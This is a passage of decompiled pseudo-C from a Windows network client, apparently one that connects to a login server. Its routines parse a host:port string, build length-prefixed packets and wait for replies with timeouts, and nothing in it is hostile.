  sub_4056D0((unsigned int)&v61, (int)&v50);
  if ( v57 != v16 )
    operator delete(v57);
  v57 = v16;
  v58 = v16;
  v59 = v16;
  LOBYTE(v53) = 10;
  sub_4023E0(0x10Au, (int)&v61);
  v61 = 22;
  LOBYTE(v53) = 11;
  sub_4056D0((unsigned int)&v61, (int)&v50);
  if ( v57 != v16 )
    operator delete(v57);
  v57 = v16;
  v58 = v16;
  v59 = v16;
  LOBYTE(v53) = 12;
  sub_4023E0(0x14u, (int)&v61);
  v61 = 23;
  LOBYTE(v53) = 13;
  sub_4056D0((unsigned int)&v61, (int)&v50);
  if ( v57 != v16 )
    operator delete(v57);
  v57 = v16;
  v58 = v16;
  v59 = v16;
  LOBYTE(v53) = 14;
  sub_4023E0(0x34u, (int)&v61);
  v61 = 24;
  LOBYTE(v53) = 15;
  sub_4056D0((unsigned int)&v61, (int)&v50);
  if ( v57 != v16 )
    operator delete(v57);
  v57 = v16;
  v58 = v16;
  v59 = v16;
  LOBYTE(v53) = 16;
  sub_4023E0(0, (int)&v61);
  v61 = 25;
  LOBYTE(v53) = 17;
  sub_4056D0((unsigned int)&v61, (int)&v50);
  if ( v57 != v16 )
    operator delete(v57);
  v57 = v16;
  v58 = v16;
  v59 = v16;
  LOBYTE(v53) = 18;
  sub_4023E0(0xBB8u, (int)&v61);
  v61 = 26;
  LOBYTE(v53) = 19;
  sub_4056D0((unsigned int)&v61, (int)&v50);
  if ( v57 != v16 )
    operator delete(v57);
  v57 = v16;
  v58 = v16;
  v59 = v16;
  LOBYTE(v53) = 20;
  sub_4024C0(0x43Du, (int)&v61);
  v61 = 20;
  LOBYTE(v53) = 21;
  sub_4056D0((unsigned int)&v61, (int)&v50);
  LOBYTE(v53) = 0;
  if ( v57 != v16 )
    operator delete(v57);
  v60 = (int)&v12;
  LOBYTE(v12) = 0;
  setLoginHost("en", 2u, (int)&v12);
  v42 = sub_401F90(v12, v13, v14, v15, v16, 15, v30, 15);
  LOBYTE(v53) = 22;
  sub_4056D0(v42, (int)&v50);
  LOBYTE(v53) = 0;
  if ( v57 != v16 )
    operator delete(v57);
  v60 = (int)&v12;
  LOBYTE(v31) = 0;
  setLoginHost("us", 2u, (int)&v12);
  v43 = sub_401F90(v31, v32, v33, v34, v16, 15, v35, 14);
  LOBYTE(v53) = 23;
  sub_4056D0(v43, (int)&v50);
  if ( v57 != v16 )
    operator delete(v57);
  v57 = v16;
  v58 = v16;
  v59 = v16;
  LOBYTE(v53) = 24;
  loc_4029C0(&v49, &v57, v16);
  if ( sub_413200(2, v46, v47, 23, (int)&v57) != 1 )
  {
    if ( v57 )
      operator delete(v57);
LABEL_55:
    v36 = v50;
    if ( v50 )
    {
      sub_4061B0(v50, v51);
      operator delete(v36);
    }
    return 0;
  }
  if ( v57 )
    operator delete(v57);
  v37 = v50;
  if ( v50 )
  {
    sub_4061B0(v50, v51);
    operator delete(v37);
  }
  return 1;
}

//----- (004129E0) --------------------------------------------------------
char __fastcall sub_4129E0(int a1, int a2, int a3, int a4, int a5)
{
  signed int v5; // eax@1
  int v6; // ebx@1
  int v7; // esi@3
  int v8; // eax@7
  unsigned int v9; // esi@7
  int v10; // ecx@8
  unsigned int v11; // ecx@11
  int v12; // edx@12
  int v13; // eax@16
  unsigned int v14; // eax@20
  unsigned int v15; // esi@20
  const char *v16; // eax@22
  int v17; // eax@24
  signed int v19; // edx@7
  unsigned int v20; // eax@7
  char v21; // zf@7
  int  s; // [sp+90h] [bp+0h]@1
  unsigned int v23; // [sp+80h] [bp-10h]@1
  int v24; // [sp+10h] [bp-80h]@1
  int v25; // [sp+14h] [bp-7Ch]@1
  int v26; // [sp+Ch] [bp-84h]@1
  int v27; // [sp+24h] [bp-6Ch]@1
  int v28; // [sp+28h] [bp-68h]@1
  int v29; // [sp+2Ch] [bp-64h]@1
  int v30; // [sp+8Ch] [bp-4h]@1
  int v31; // [sp+20h] [bp-70h]@1
  signed int v32; // [sp+18h] [bp-78h]@1
  int (__stdcall **v33)(char); // [sp+34h] [bp-5Ch]@2
  int v34; // [sp+38h] [bp-58h]@2
  int v35; // [sp+3Ch] [bp-54h]@2
  int v36; // [sp+40h] [bp-50h]@2
  signed int v37; // [sp+78h] [bp-18h]@20
  int v38; // [sp+74h] [bp-1Ch]@20
  int v39; // [sp+64h] [bp-2Ch]@20
  int v40; // [sp+58h] [bp-38h]@22
  char *Str; // [sp+48h] [bp-48h]@22
  signed int v42; // [sp+5Ch] [bp-34h]@22

  v23 = (unsigned int)& s ^ dword_426018;
  v6 = 0;
  v24 = a4;
  v25 = a2;
  v26 = a5;
  v27 = 0;
  v28 = 0;
  v29 = 0;
  v30 = 0;
  v31 = a3;
  v32 = 196631;
  v5 = sub_412EA0(a1, (int)&v32);
  if ( v5 != 1 )
    goto LABEL_18;
  v33 = &off_4214E8;
  v34 = 0;
  v35 = 0;
  v36 = 0;
  LOBYTE(v30) = v5;
  if ( !(unsigned __int8)loc_402780(&v33, &v27, 0) )
  {
    v7 = v34;
    if ( v34 )
    {
      sub_4061B0(v34, v35);
      operator delete(v7);
      v6 = 0;
    }
    if ( v27 != v6 )
      operator delete(v27);
    return 0;
  }
  v19 = (signed int)((unsigned __int64)(1717986919i64 * (v35 - v34)) >> 32) >> 3;
  v20 = (unsigned int)((unsigned __int64)(1717986919i64 * (v35 - v34)) >> 32) >> 31;
  v9 = 0;
  v21 = v19 + v20 == 0;
  v8 = v19 + v20;
  if ( !v21 )
  {
    v10 = v34;
    do
    {
      if ( *(_WORD *)v10 == 8 )
        break;
      ++v9;
      v10 += 20;
    }
    while ( v9 < v8 );
  }
  v11 = 0;
  if ( (unsigned int)v8 <= 0 )
    goto LABEL_17;
  v12 = v34;
  while ( *(_WORD *)v12 != 5 )
  {
    ++v11;
    v12 += 20;
    if ( v11 >= v8 )
      goto LABEL_17;
  }
  v13 = v34 + 20 * v11;
  if ( !v13 )
  {
LABEL_17:
    sub_402740((int)&v33);
LABEL_18:
    if ( v27 )
      operator delete(v27);
    return 0;
  }
  v37 = 15;
  v38 = 0;
  LOBYTE(v39) = 0;
  LOBYTE(v30) = 2;
  setLoginHost(*(const void **)(v13 + 4), *(_DWORD *)(v13 + 8) - *(_DWORD *)(v13 + 4), (int)&v39);
  v14 = sub_4059A0(0, (int)&v39, (int)L":", 1u);
  v15 = v14;
  if ( v14 != -1 )
  {
    if ( v14 < v38 - 1 )
    {
      sub_401600(v24, v14, 0, (int)&v39);
      v40 = 0;
      LOBYTE(Str) = 0;
      v42 = 15;
      sub_401600((int)&Str, -1, v15 + 1, (int)&v39);
      v16 = Str;
      if ( (unsigned int)v42 < 0x10 )
        v16 = (const char *)&Str;
      *(_DWORD *)v25 = atoi(v16);
      sub_401970((int)&Str);
      v17 = sub_402B70((int)&v33, 6);
      if ( v17 )
      {
        sub_405570(v17 + 4, v26);
        sub_401970((int)&v39);
        sub_402740((int)&v33);
        sub_41B030((int)&v32);
        return 1;
      }
    }
  }
  sub_401970((int)&v39);
  sub_402740((int)&v33);
  sub_41B030((int)&v32);
  return 0;
}

//----- (00412C30) --------------------------------------------------------
char __usercall sub_412C30<al>(int a1<edi>)
{
  char result; // al@6
  __int16 v2; // ax@1
  int (__thiscall *v3)(_DWORD); // edx@1
  int v4; // [sp+10h] [bp-20h]@1
  int v5; // [sp+14h] [bp-1Ch]@1
  int v6; // [sp+18h] [bp-18h]@1
  int v7; // [sp+2Ch] [bp-4h]@1
  int v8; // [sp+Eh] [bp-22h]@1
  char v9; // [sp+Ch] [bp-24h]@1
  signed int v10; // [sp+20h] [bp-10h]@2

  v4 = 0;
  v5 = 0;
  v6 = 0;
  v7 = 0;
  v2 = *(_WORD *)(a1 + 460);
  v8 = *(_WORD *)(a1 + 460);
  *(_WORD *)(a1 + 460) = v2 + 1;
  v3 = *(int (__thiscall **)(_DWORD))(*(_DWORD *)a1 + 4);
  v9 = 4;
  v3(a1);
  if ( sub_402180((int)&v9, *(_DWORD *)(a1 + 456)) )
  {
LABEL_4:
    if ( v4 )
      operator delete(v4);
    result = 1;
  }
  else
  {
    while ( v10 == -2 )
    {
      (*(int (__thiscall **)(int))(*(_DWORD *)a1 + 4))(a1);
      if ( sub_402180((int)&v9, *(_DWORD *)(a1 + 456)) )
        goto LABEL_4;
    }
    if ( v4 )
      operator delete(v4);
    result = 0;
  }
  return result;
}

//----- (00412D10) --------------------------------------------------------
char __thiscall sub_412D10(int this, int a2)
{
  int v2; // ebx@1
  int v3; // esi@6
  char result; // al@10
  int v5; // esi@11
  __int16 v6; // ax@1
  int v7; // [sp+18h] [bp-4Ch]@1
  int v8; // [sp+1Ch] [bp-48h]@1
  int v9; // [sp+20h] [bp-44h]@1
  int v10; // [sp+60h] [bp-4h]@1
  int v11; // [sp+16h] [bp-4Eh]@1
  char v12; // [sp+14h] [bp-50h]@1
  int v13; // [sp+44h] [bp-20h]@1
  int v14; // [sp+48h] [bp-1Ch]@1
  int v15; // [sp+4Ch] [bp-18h]@1
  int (__stdcall **v16)(char); // [sp+40h] [bp-24h]@1
  int v17; // [sp+30h] [bp-34h]@1
  int v18; // [sp+34h] [bp-30h]@1
  int v19; // [sp+38h] [bp-2Ch]@1
  __int16 v20; // [sp+2Ch] [bp-38h]@1
  signed int v21; // [sp+28h] [bp-3Ch]@4

  v2 = this;
  v7 = 0;
  v8 = 0;
  v9 = 0;
  v10 = 0;
  v6 = *(_WORD *)(this + 460);
  v11 = *(_WORD *)(this + 460);
  v12 = 1;
  *(_WORD *)(this + 460) = v6 + 1;
  v13 = 0;
  v14 = 0;
  v15 = 0;
  v16 = &off_4214F8;
  v17 = 0;
  v18 = 0;
  v19 = 0;
  LOBYTE(v10) = 2;
  sub_405570(a2, (int)&v17);
  v20 = 6;
  LOBYTE(v10) = 3;
  sub_4056D0((unsigned int)&v20, (int)&v13);
  LOBYTE(v10) = 1;
  if ( v17 )
    operator delete(v17);
  sub_405670(4u, (int)&v7);
  *(_DWORD *)v7 = htonl_0(1u);
  loc_4029C0(&v16, &v7, 4);
  (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 4))(v2);
  if ( sub_402180((int)&v12, *(_DWORD *)(v2 + 456)) )
  {
LABEL_6:
    v3 = v13;
    if ( v13 )
    {
      sub_4061B0(v13, v14);
      operator delete(v3);
    }
    if ( v7 )
      operator delete(v7);
    result = 1;
  }
  else
  {
    while ( v21 == -2 )
    {
      (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 4))(v2);
      if ( sub_402180((int)&v12, *(_DWORD *)(v2 + 456)) )
        goto LABEL_6;
    }
    v5 = v13;
    if ( v13 )
    {
      sub_4061B0(v13, v14);
      operator delete(v5);
    }
    if ( v7 )
      operator delete(v7);
    result = 0;
  }
  return result;
}

//----- (00412EA0) --------------------------------------------------------
signed int __fastcall sub_412EA0(int a1, int a2)
{
  int ST04_4_0; // ST04_4@0
  int ST08_4_0; // ST08_4@0
  int ST0C_4_0; // ST0C_4@0
  int ST10_4_0; // ST10_4@0
  int ST14_4_0; // ST14_4@0
  int v7; // ebx@1
  signed int result; // eax@2
  int v9; // esi@4
  int (__stdcall **v10)(char); // edi@14
  unsigned int v11; // ebx@17
  void *v12; // esi@17
  int v13; // eax@18
  __int16 v14; // ax@22
  int (__stdcall **v15)(char); // eax@24
  int v16; // ST18_4@29
  int v17; // ST1C_4@29
  int v18; // eax@30
  int v19; // eax@32
  int v20; // edi@1
  int v21; // esi@1
  signed int v22; // edi@37
  int  s; // [sp+9Ch] [bp+0h]@1
  unsigned int v24; // [sp+8Ch] [bp-10h]@1
  int v25; // [sp+48h] [bp-54h]@1
  int v26; // [sp+44h] [bp-58h]@1
  int v27; // [sp+5Ch] [bp-40h]@3
  int v28; // [sp+14h] [bp-88h]@4
  int v29; // [sp+18h] [bp-84h]@4
  int v30; // [sp+1Ch] [bp-80h]@4
  int v31; // [sp+98h] [bp-4h]@4
  int v32; // [sp+4Ch] [bp-50h]@7
  unsigned __int16 v33; // [sp+54h] [bp-48h]@7
  unsigned __int16 v34; // [sp+64h] [bp-38h]@7
  char v35; // [sp+10h] [bp-8Ch]@8
  signed int v36; // [sp+24h] [bp-78h]@9
  void *Dst; // [sp+34h] [bp-68h]@14
  int v38; // [sp+38h] [bp-64h]@14
  int v39; // [sp+3Ch] [bp-60h]@14
  __int16 v40; // [sp+28h] [bp-74h]@14
  int v41; // [sp+2Ch] [bp-70h]@16
  int v42; // [sp+Ch] [bp-90h]@19
  __int16 v43; // [sp+2Ah] [bp-72h]@22
  int (__stdcall **v44)(char); // [sp+30h] [bp-6Ch]@24
  signed int v45; // [sp+84h] [bp-18h]@32
  int v46; // [sp+80h] [bp-1Ch]@32
  char v47; // [sp+70h] [bp-2Ch]@32

  v24 = (unsigned int)& s ^ dword_426018;
  v7 = a1;
  v20 = *(_DWORD *)(a1 + 536);
  v21 = a2;
  v25 = a1;
  v26 = a2;
  sub_41C1C0(v20);
  if ( sub_41C0A0(v21, *(_DWORD *)(v7 + 536)) )
  {
    (*(int (__thiscall **)(int, unsigned int))(*(_DWORD *)v7 + 4))(v7, (unsigned int)& s ^ dword_426018);
    result = 1;
  }
  else
  {
    ftime64(&v27);
    while ( 2 )
    {
      v9 = 0;
      v28 = 0;
      v29 = 0;
      v30 = 0;
      v31 = 0;
      while ( 1 )
      {
        (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 4))(v7);
        if ( *(_BYTE *)(v7 + 560) )
        {
          *(_BYTE *)(v7 + 560) = 0;
LABEL_28:
          sub_406500((int)&v35);
          return -2;
        }
        if ( *(_DWORD *)(v7 + 556) > v9 )
        {
          ftime64(&v32);
          if ( v33 + 1000 * (v32 - v27) - v34 > *(_DWORD *)(v7 + 556) )
            goto LABEL_28;
        }
        if ( sub_402030((int)&v35, *(_DWORD *)(v7 + 456)) )
          break;
        if ( v36 != -2 )
        {
          v22 = v36;
          sub_406500((int)&v35);
          return v22;
        }
        v7 = v25;
        v9 = 0;
      }
      if ( v35 == 4 )
      {
        v44 = &off_4214E8;
        Dst = 0;
        v38 = 0;
        v39 = 0;
        LOBYTE(v31) = 1;
        if ( (unsigned __int8)loc_402780(&v44, &v28, 0) )
        {
          v26 = 0;
          v18 = sub_402B70((int)&v44, 9);
          if ( v18 )
            sub_4023B0(v18, (int)&v26);
          v45 = 15;
          v46 = 0;
          v47 = 0;
          LOBYTE(v31) = 2;
          v19 = sub_402B70((int)&v44, 11);
          if ( v19 )
            setLoginHost(*(const void **)(v19 + 4), *(_DWORD *)(v19 + 8) - *(_DWORD *)(v19 + 4), (int)&v47);
          v42 = (int)&ST04_4_0;
          sub_401900((int)&v47, (int)&ST04_4_0);
          (*(int (__thiscall **)(int, int, int, int, int, int, int, int, int))(*(_DWORD *)v25 + 60))(
            v25,
            v26,
            ST04_4_0,
            ST08_4_0,
            ST0C_4_0,
            ST10_4_0,
            ST14_4_0,
            v16,
            v17);
          sub_401970((int)&v47);
        }
        sub_402740((int)&v44);
        sub_406500((int)&v35);
        result = 0;
      }
      else
      {
        if ( v35 != 2 )
        {
          sub_406500((int)&v35);
          v7 = v25;
          continue;
        }
        v10 = 0;
        Dst = 0;
        v38 = 0;
        v39 = 0;
        LOBYTE(v31) = 3;
        if ( !sub_402260((u_short **)&v28, (int)&v40) )
          goto LABEL_15;
        if ( v41 & 0x8000 )
        {
          v12 = Dst;
          v11 = v38 - (_DWORD)Dst;
          if ( (unsigned int)(v38 - (_DWORD)Dst) >= 2 )
          {
            v13 = htons_0(*(_WORD *)Dst);
            if ( v11 >= (unsigned int)(unsigned __int16)v13 + 2 )
            {
              sub_405A50((int)&Dst, (int)&v42, v12, v12 + v13 + 2);
              v10 = 0;
            }
          }
        }
        if ( v40 != *(_WORD *)v26 && *(_WORD *)v26 != (_WORD)v10
          || (v14 = *(_WORD *)(v26 + 2), v43 != v14) && v14 != (_WORD)v10
          || (v15 = *(int (__stdcall ***)(char))(v26 + 8), v44 != v15) && v15 != v10 )
        {
          sub_41C000((int)&v40, *(_DWORD *)(v25 + 536));
LABEL_15:
          sub_41B030((int)&v40);
          sub_406500((int)&v35);
          v7 = v25;
          continue;
        }
        sub_4131D0((int)&v40, v26);
        sub_41B030((int)&v40);
        sub_406500((int)&v35);
        result = 1;
      }
      break;
    }
  }
  return result;
}

//----- (004131D0) --------------------------------------------------------
int __usercall sub_4131D0<eax>(int a1<eax>, int a2<esi>)
{
  *(_WORD *)a2 = *(_WORD *)a1;
  *(_WORD *)(a2 + 2) = *(_WORD *)(a1 + 2);
  *(_WORD *)(a2 + 4) = *(_WORD *)(a1 + 4);
  *(_DWORD *)(a2 + 8) = *(_DWORD *)(a1 + 8);
  sub_405570(a1 + 12, a2 + 12);
  return a2;
}

//----- (00413200) --------------------------------------------------------
signed int __userpurge sub_413200<eax>(__int16 a1<dx>, int a2<ecx>, int a3<ebx>, __int16 a4, int a5)
{
  int v5; // eax@1
  int v6; // edi@1
  int v7; // esi@1
  int v8; // eax@11
  int v10; // eax@20
  __int16 v11; // cx@1
  int v12; // ecx@1
  __time64_t v13; // qax@20
  int  s; // [sp+6Ch] [bp+0h]@1
  unsigned int v15; // [sp+5Ch] [bp-10h]@1
  int v16; // [sp+28h] [bp-44h]@1
  int v17; // [sp+2Ch] [bp-40h]@1
  int v18; // [sp+30h] [bp-3Ch]@1
  int v19; // [sp+68h] [bp-4h]@1
  int v20; // [sp+26h] [bp-46h]@1
  char v21; // [sp+24h] [bp-48h]@1
  int v22; // [sp+14h] [bp-58h]@1
  int v23; // [sp+18h] [bp-54h]@1
  int v24; // [sp+1Ch] [bp-50h]@1
  __int16 v25; // [sp+8h] [bp-64h]@1
  __int16 v26; // [sp+Ch] [bp-60h]@1
  int v27; // [sp+10h] [bp-5Ch]@1
  __int16 v28; // [sp+Ah] [bp-62h]@1
  int v29; // [sp+3Ch] [bp-30h]@5
  int v30; // [sp+4Ch] [bp-20h]@7
  unsigned __int16 v31; // [sp+54h] [bp-18h]@7
  unsigned __int16 v32; // [sp+44h] [bp-28h]@7
  signed int v33; // [sp+38h] [bp-34h]@9

  v15 = (unsigned int)& s ^ dword_426018;
  v5 = a5;
  v7 = 0;
  v6 = a2;
  v16 = 0;
  v17 = 0;
  v18 = 0;
  v19 = 0;
  v11 = *(_WORD *)(a3 + 460);
  v20 = *(_WORD *)(a3 + 460);
  v21 = 2;
  *(_WORD *)(a3 + 460) = v11 + 1;
  v22 = 0;
  v23 = 0;
  v24 = 0;
  LOBYTE(v19) = 1;
  v25 = a4;
  v26 = 0;
  v12 = *(_DWORD *)(a3 + 464);
  v27 = *(_DWORD *)(a3 + 464);
  v28 = a1;
  *(_DWORD *)(a3 + 464) = v12 + 1;
  if ( v5 )
    sub_405570(v5, (int)&v22);
  if ( v6 )
    *(_DWORD *)v6 = v27;
  sub_402320((int)&v16, (int)&v25);
  ftime64(&v29);
  (*(int (__thiscall **)(int, unsigned int))(*(_DWORD *)a3 + 4))(a3, (unsigned int)& s ^ dword_426018);
  if ( *(_BYTE *)(a3 + 560) )
  {
LABEL_11:
    v8 = v22;
    *(_BYTE *)(a3 + 560) = 0;
    if ( v8 != v7 )
      operator delete(v8);
    if ( v16 != v7 )
      operator delete(v16);
  }
  else
  {
    while ( 1 )
    {
      if ( *(_DWORD *)(a3 + 556) > v7 )
      {
        ftime64(&v30);
        if ( v31 + 1000 * (v30 - v29) - v32 > *(_DWORD *)(a3 + 556) )
          break;
      }
      if ( sub_402180((int)&v21, *(_DWORD *)(a3 + 456)) )
      {
        v13 = time64(0);
        *(_DWORD *)(a3 + 568) = v13;
        v10 = v22;
        *(_DWORD *)(a3 + 572) = *((_DWORD *)&v13 + 1);
        if ( v10 )
          operator delete(v10);
        if ( v16 )
          operator delete(v16);
        return 1;
      }
      if ( v33 != -2 )
      {
        if ( v22 )
          operator delete(v22);
        if ( v16 )
          operator delete(v16);
        return v33;
      }
      (*(int (__thiscall **)(int))(*(_DWORD *)a3 + 4))(a3);
      v7 = 0;
      if ( *(_BYTE *)(a3 + 560) )
        goto LABEL_11;
    }
    if ( v22 != v7 )
      operator delete(v22);
    if ( v16 != v7 )
    {
      operator delete(v16);
      return -2;
    }
  }
  return -2;
}

//----- (00413400) --------------------------------------------------------
signed int __usercall sub_413400<eax>(int a1<edi>)
{
  int v1; // esi@1
  signed int v2; // esi@5
  signed int result; // eax@10
  int v4; // eax@13
  __int16 v5; // ax@1
  __time64_t v6; // qax@13
  int  s; // [sp+54h] [bp+0h]@1
  unsigned int v8; // [sp+44h] [bp-10h]@1
  int v9; // [sp+10h] [bp-44h]@1
  int v10; // [sp+14h] [bp-40h]@1
  int v11; // [sp+18h] [bp-3Ch]@1
  int v12; // [sp+50h] [bp-4h]@1
  int v13; // [sp+Eh] [bp-46h]@1
  char v14; // [sp+Ch] [bp-48h]@1
  int v15; // [sp+24h] [bp-30h]@1
  int v16; // [sp+34h] [bp-20h]@3
  unsigned __int16 v17; // [sp+3Ch] [bp-18h]@3
  unsigned __int16 v18; // [sp+2Ch] [bp-28h]@3
  signed int v19; // [sp+20h] [bp-34h]@5

  v8 = (unsigned int)& s ^ dword_426018;
  v1 = 0;
  v9 = 0;
  v10 = 0;
  v11 = 0;
  v12 = 0;
  v5 = *(_WORD *)(a1 + 460);
  v13 = *(_WORD *)(a1 + 460);
  *(_WORD *)(a1 + 460) = v5 + 1;
  v14 = 5;
  ftime64(&v15);
  (*(int (__thiscall **)(int, unsigned int))(*(_DWORD *)a1 + 4))(a1, (unsigned int)& s ^ dword_426018);
  if ( *(_BYTE *)(a1 + 560) )
  {
LABEL_8:
    *(_BYTE *)(a1 + 560) = 0;
    if ( v1 )
      operator delete(v1);
LABEL_10:
    result = -2;
  }
  else
  {
    while ( 1 )
    {
      if ( *(_DWORD *)(a1 + 556) > 0 )
      {
        ftime64(&v16);
        if ( v17 + 1000 * (v16 - v15) - v18 > *(_DWORD *)(a1 + 556) )
          break;
      }
      if ( sub_402180((int)&v14, *(_DWORD *)(a1 + 456)) )
      {
        v6 = time64(0);
        *(_DWORD *)(a1 + 568) = v6;
        v4 = v9;
        *(_DWORD *)(a1 + 572) = *((_DWORD *)&v6 + 1);
        if ( v4 )
          operator delete(v4);
        return 1;
      }
      v2 = v19;
      if ( v19 != -2 )
      {
        if ( v9 )
          operator delete(v9);
        return v2;
      }
      (*(int (__thiscall **)(int))(*(_DWORD *)a1 + 4))(a1);
      if ( *(_BYTE *)(a1 + 560) )
      {
        v1 = v9;
        goto LABEL_8;
      }
    }
    if ( !v9 )
      goto LABEL_10;
    operator delete(v9);
    result = -2;
  }
  return result;
}

//----- (00413570) --------------------------------------------------------
char __thiscall sub_413570(int this, void *Src, int a3, int a4, int a5, size_t Size, int a7, int a8, int a9, int a10, int a11, int a12, u_short hostshort, int a14, int a15, char a16)
{
  int v16; // ebx@1
  unsigned int v17; // edi@1
  int v18; // esi@1
  const void *v19; // eax@5
  const void *v20; // eax@7
  char v21; // bl@9
  signed int v23; // [sp+30h] [bp-4h]@1
  int v24; // [sp+14h] [bp-20h]@1
  void *Dst; // [sp+18h] [bp-1Ch]@1
  int v26; // [sp+1Ch] [bp-18h]@1

  v16 = this;
  v23 = 1;
  v18 = 0;
  v17 = hostshort + Size + 6;
  v24 = 0;
  Dst = 0;
  v26 = 0;
  if ( v17 )
  {
    sub_405AD0((int)&v24, hostshort + Size + 6);
    v18 = v24;
    if ( v17 + v24 - (_DWORD)Dst )
      memset(Dst, 0, v17 + v24 - (_DWORD)Dst);
    Dst = (void *)(v18 + v17);
  }
  LOBYTE(v23) = 2;
  *(_BYTE *)v18 = Size;
  v19 = Src;
  if ( (unsigned int)a7 < 0x10 )
    v19 = &Src;
  memcpy((void *)(v18 + 1), v19, Size);
  *(_BYTE *)(Size + v18 + 1) = a16;
  *(_WORD *)(Size + v18 + 2) = htons(hostshort);
  v20 = (const void *)a9;
  if ( (unsigned int)a14 < 0x10 )
    v20 = &a9;
  memcpy((void *)(Size + v18 + 4), v20, hostshort);
  *(_WORD *)(Size + hostshort + v18 + 4) = 0;
  v21 = sub_413200(26, 0, v16, 19, (int)&v24) == 1;
  if ( v24 )
    operator delete(v24);
  if ( (unsigned int)a7 >= 0x10 )
    operator delete(Src);
  a7 = 15;
  Size = 0;
  LOBYTE(Src) = 0;
  if ( (unsigned int)a14 >= 0x10 )
    operator delete(a9);
  return v21;
}

//----- (004136D0) --------------------------------------------------------
char __thiscall sub_4136D0(int this, void *Src, int a3, int a4, int a5, size_t Size, int a7, int a8, int a9, int a10, int a11, int a12, u_short hostshort, int a14, int a15)
{
  int v15; // ebx@1
  unsigned int v16; // edi@1
  int v17; // esi@1
  const void *v18; // eax@5
  const void *v19; // eax@7
  char v20; // bl@9
  signed int v22; // [sp+2Ch] [bp-4h]@1
  int v23; // [sp+14h] [bp-1Ch]@1
  void *Dst; // [sp+18h] [bp-18h]@1
  int v25; // [sp+1Ch] [bp-14h]@1

  v15 = this;
  v22 = 1;
  v17 = 0;
  v16 = hostshort + Size + 5;
  v23 = 0;
  Dst = 0;
  v25 = 0;
  if ( v16 )
  {
    sub_405AD0((int)&v23, hostshort + Size + 5);
    v17 = v23;
    if ( v16 + v23 - (_DWORD)Dst )
      memset(Dst, 0, v16 + v23 - (_DWORD)Dst);
    Dst = (void *)(v17 + v16);
  }
  LOBYTE(v22) = 2;
  *(_BYTE *)v17 = Size;
  v18 = Src;
  if ( (unsigned int)a7 < 0x10 )
    v18 = &Src;
  memcpy((void *)(v17 + 1), v18, Size);
  *(_WORD *)(Size + v17 + 1) = htons(hostshort);
  v19 = (const void *)a9;
  if ( (unsigned int)a14 < 0x10 )
    v19 = &a9;
  memcpy((void *)(Size + v17 + 3), v19, hostshort);
  *(_WORD *)(Size + hostshort + v17 + 3) = 0;
  v20 = sub_413200(24, 0, v15, 19, (int)&v23) == 1;
  if ( v23 )
    operator delete(v23);
  if ( (unsigned int)a7 >= 0x10 )
    operator delete(Src);
  a7 = 15;
  Size = 0;
  LOBYTE(Src) = 0;
  if ( (unsigned int)a14 >= 0x10 )
    operator delete(a9);
  return v20;
}

//----- (00413820) --------------------------------------------------------
char __fastcall sub_413820(int a1, int a2, int a3)
{
  int ST00_4_0; // ST00_4@0
  int ST04_4_0; // ST04_4@0
  int ST08_4_0; // ST08_4@0
  int ST0C_4_0; // ST0C_4@0
  int ST10_4_0; // ST10_4@0
  int ST14_4_0; // ST14_4@0
  int ST18_4_0; // ST18_4@0
  void *ST1C_4_0; // ST1C_4@0
  int ST20_4_0; // ST20_4@0
  int ST24_4_0; // ST24_4@0
  int ST28_4_0; // ST28_4@0
  unsigned int ST2C_4_0; // ST2C_4@0
  unsigned int ST30_4_0; // ST30_4@0
  int ST34_4_0; // ST34_4@0
  int v17; // esi@1
  int v18; // ebx@3
  int v20; // ST34_4@21
  int v21; // ST38_4@34
  char v22; // al@44
  int v23; // edi@44
  int v24; // ST38_4@44
  signed int v25; // eax@52
  int v26; // ST38_4@58
  int v27; // ST38_4@68
  int v28; // ebx@1
  __time64_t v29; // qax@1
  char v30; // cf@17
  int v31; // edx@27
  char v32; // ST38_1@38
  int (__stdcall *v33)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // edx@56
  int (__thiscall *v34)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // edx@61
  int (__stdcall *v35)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // edx@64
  int  s; // [sp+1B8h] [bp+0h]@1
  unsigned int v37; // [sp+1A4h] [bp-14h]@1
  int v38; // [sp+18h] [bp-1A0h]@1
  int v39; // [sp+14h] [bp-1A4h]@1
  signed int v40; // [sp+168h] [bp-50h]@1
  int v41; // [sp+164h] [bp-54h]@1
  int v42; // [sp+154h] [bp-64h]@1
  int v43; // [sp+170h] [bp-48h]@1
  int v44; // [sp+174h] [bp-44h]@1
  int v45; // [sp+178h] [bp-40h]@1
  int (__stdcall **v46)(char); // [sp+144h] [bp-74h]@1
  int v47; // [sp+1B4h] [bp-4h]@1
  __int16 v48; // [sp+150h] [bp-68h]@2
  signed int v49; // [sp+184h] [bp-34h]@3
  signed int v50; // [sp+19Ch] [bp-1Ch]@3
  int v51; // [sp+198h] [bp-20h]@3
  int v52; // [sp+188h] [bp-30h]@3
  char v53; // [sp+50h] [bp-168h]@21
  char v54; // [sp+1Ch] [bp-19Ch]@21
  int v55; // [sp+5Ch] [bp-15Ch]@22
  int v56; // [sp+54h] [bp-164h]@22
  char v57; // [sp+80h] [bp-138h]@23
  int v58; // [sp+7Ch] [bp-13Ch]@27
  int v59; // [sp+78h] [bp-140h]@27
  char v60; // [sp+148h] [bp-70h]@27
  char v61; // [sp+E8h] [bp-D0h]@35
  char v62; // [sp+180h] [bp-38h]@40
  int *v63; // [sp+Ch] [bp-1ACh]@56
  void *v64; // [sp+10h] [bp-1A8h]@56
  char v65; // [sp+4Ch] [bp-16Ch]@68
  int v66; // [sp+C8h] [bp-F0h]@68
  char v67; // [sp+E4h] [bp-D4h]@70

  v37 = (unsigned int)& s ^ dword_426018;
  v17 = a1;
  v38 = a3;
  v39 = a1;
  v28 = a2;
  v29 = time64(0);
  *(_DWORD *)(v17 + 72) = v29;
  *(_DWORD *)(v17 + 76) = *((_DWORD *)&v29 + 1);
  v40 = 15;
  v41 = 0;
  LOBYTE(v42) = 0;
  v43 = 0;
  v44 = 0;
  v45 = 0;
